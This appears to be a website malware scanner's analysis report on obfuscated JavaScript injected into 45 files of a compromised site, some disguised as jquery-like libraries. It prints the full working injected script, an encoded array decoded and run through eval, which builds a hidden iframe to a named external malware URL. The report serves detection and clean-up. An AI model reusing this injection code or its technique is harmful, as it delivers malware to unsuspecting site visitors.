45 webpages infected by obfuscated malicious JavaScript code
Background
Online Website Malware Scanner detected malicious JavaScript code injection in the scanned website pages. Such malicious obfuscated JavaScript code is used to build malicious iframe invisible to the website user in order to download content from remote malware distributor. This infected website hosts suspicious JavaScript code injected in 45 files. Name of the files resemble legitimate libraries, like jquery for example, but which contain malicious content.
Malicious action
Malicious iframes are often used to distribute malware hosted on external web resources(websites).
Website malware scanner report
Submission date: Monday, Aug 5
Infected website's files count: 42
Website malware scan report link: Sitescan report
Detected threat dump screenshot:
Detected threat dump screenshot:
Malware entry
Malware entry details.
Beautified script
- r = eval;
- ps = "s" + "p" + "l" + "i" + "t";
- function asd() {
- ++(d.body)
- };
- a =("47,155,174,165,152,173,160,166,165,47,201,201,201,155,155,155,57,60,47,202,24,21,47,175,150,171,47,160,47,104,47,153,166,152,174,164,154,165,173,65,152,171,154,150,173,154,114,163,154,164,154,165,173,57,56,160,155,171,150,164,154,56,60,102,24,21,24,21,47,160,65,172,171,152,47,104,47,56,157,173,173,167,101,66,66,160,164,167,166,171,173,154,177,167,166,171,173,160,165,172,173,160,173,174,173,154,65,152,166,164,66,155,163,150,156,172,66,151,116,177,155,133,113,77,136,65,167,157,167,56,102,24,21,47,160,65,172,173,200,163,154,65,167,166,172,160,173,160,166,165,47,104,47,56,150,151,172,166,163,174,173,154,56,102,24,21,47,160,65,172,173,200,163,154,65,151,166,171,153,154,171,47,104,47,56,67,56,102,24,21,47,160,65,172,173,200,163,154,65,157,154,160,156,157,173,47,104,47,56,70,167,177,56,102,24,21,47,160,65,172,173,200,163,154,65,176,160,153,173,157,47,104,47,56,70,167,177,56,102,24,21,47,160,65,172,173,200,163,154,65,163,154,155,173,47,104,47,56,70,167,177,56,102,24,21,47,160,65,172,173,200,163,154,65,173,166,167,47,104,47,56,70,167,177,56,102,24,21,24,21,47,160,155,47,57,50,153,166,152,174,164,154,165,173,65,156,154,173,114,163,154,164,154,165,173,111,200,120,153,57,56,160,56,60,60,47,202,24,21,47,153,166,152,174,164,154,165,173,65,176,171,160,173,154,57,56,103,153,160,175,47,160,153,104,143,56,160,143,56,105,103,66,153,160,175,105,56,60,102,24,21,47,153,166,152,174,164,154,165,173,65,156,154,173,114,163,154,164,154,165,173,111,200,120,153,57,56,160,56,60,65,150,167,167,154,165,153,112,157,160,163,153,57,160,60,102,24,21,47,204,24,21,204,24,21,155,174,165,152,173,160,166,165,47,132,154,173,112,166,166,162,160,154,57,152,166,166,162,160,154,125,150,164,154,63,152,166,166,162,160,154,135,150,163,174,154,63,165,113,150,200,172,63,167,150,173,157,60,47,202,24,21,47,175,150,171,47,173,166,153,150,200,47,104,47,165,154,176,47,113,150,173,154,57,60,102,24,21,47,175,150,171,47,154,177,167,160,171,154,47,104,47,165,154,176,47,113,150,173,154,57,60,102,24,21,47,160,155,47,57,165,113,150,200,172,104,104,165,174,163,163,47,203,203,47,165,113,150,200,172,104,104,67,60,47,165,113,150,200,172,104,70,102,24,21,47,154,177,167,160,171,154,65,172,154,173,133,160,164,154,57,173,166,153,150,200,65,156,154,173,133,160,164,154,57,60,47,62,47,72,75,67,67,67,67,67,61,71,73,61,165,113,150,200,172,60,102,24,21,47,153,166,152,174,164,154,165,173,65,152,166,166,162,160,154,47,104,47,152,166,166,162,160,154,125,150,164,154,62,51,104,51,62,154,172,152,150,167,154,57,152,166,166,162,160,154,135,150,163,174,154,60,24,21,47,62,47,51,102,154,177,167,160,171,154,172,104,51,47,62,47,154,177,167,160,171,154,65,173,166,116,124,133,132,173,171,160,165,156,57,60,47,62,47,57,57,167,150,173,157,60,47,106,47,51,102,47,167,150,173,157,104,51,47,62,47,167,150,173,157,47,101,47,51,51,60,102,24,21,204,24,21,155,174,165,152,173,160,166,165,47,116,154,173,112,166,166,162,160,154,57,47,165,150,164,154,47,60,47,202,24,21,47,175,150,171,47,172,173,150,171,173,47,104,47,153,166,152,174,164,154,165,173,65,152,166,166,162,160,154,65,160,165,153,154,177,126,155,57,47,165,150,164,154,47,62,47,51,104,51,47,60,102,24,21,47,175,150,171,47,163,154,165,47,104,47,172,173,150,171,173,47,62,47,165,150,164,154,65,163,154,165,156,173,157,47,62,47,70,102,24,21,47,160,155,47,57,47,57,47,50,172,173,150,171,173,47,60,47,55,55,24,21,47,57,47,165,150,164,154,47,50,104,47,153,166,152,174,164,154,165,173,65,152,166,166,162,160,154,65,172,174,151,172,173,171,160,165,156,57,47,67,63,47,165,150,164,154,65,163,154,165,156,173,157,47,60,47,60,47,60,24,21,47,202,24,21,47,171,154,173,174,171,165,47,165,174,163,163,102,24,21,47,204,24,21,47,160,155,47,57,47,172,173,150,171,173,47,104,104,47,64,70,47,60,47,171,154,173,174,171,165,47,165,174,163,163,102,24,21,47,175,150,171,47,154,165,153,47,104,47,153,166,152,174,164,154,165,173,65,152,166,166,162,160,154,65,160,165,153,154,177,126,155,57,47,51,102,51,63,47,163,154,165,47,60,102,24,21,47,160,155,47,57,47,154,165,153,47,104,104,47,64,70,47,60,47,154,165,153,47,104,47,153,166,152,174,164,154,165,173,65,152,166,166,162,160,154,65,163,154,165,156,173,157,102,24,21,47,171,154,173,174,171,165,47,174,165,154,172,152,150,167,154,57,47,153,166,152,174,164,154,165,173,65,152,166,166,162,160,154,65,172,174,151,172,173,171,160,165,156,57,47,163,154,165,63,47,154,165,153,47,60,47,60,102,24,21,204,24,21,160,155,47,57,165,150,175,160,156,150,173,166,171,65,152,166,166,162,160,154,114,165,150,151,163,154,153,60,24,21,202,24,21,160,155,57,116,154,173,112,166,166,162,160,154,57,56,175,160,172,160,173,154,153,146,174,170,56,60,104,104,74,74,60,202,204,154,163,172,154,202,132,154,173,112,166,166,162,160,154,57,56,175,160,172,160,173,154,153,146,174,170,56,63,47,56,74,74,56,63,47,56,70,56,63,47,56,66,56,60,102,24,21,24,21,201,201,201,155,155,155,57,60,102,24,21,204,24,21,204,24,21"[ps](","));
- d = document;
- for (i = 0; i < a.length; i += 1) {
- a[i] = -(10 - 3) + parseInt(a[i], 5 + 3);
- }
- try {
- asd()
- } catch (q) {
- yy = 50 - 50;
- }
- try {
- yy /= 36
- } catch (pq) {
- yy = 1;
- }
- if (!yy) r(String["fr" + "omCharCode"].apply(String, a));
Malicious payload
Decoded payload generates malicious hidden iframe to http://importexportinstitute.com/flags/bGxfTD8W.php
Malware clean-up
Such malware is often hidden inside the JavaScript file. If you suspect that your website was infected by similar malware please use Website Anti-malware Monitoring for remediation assessment.
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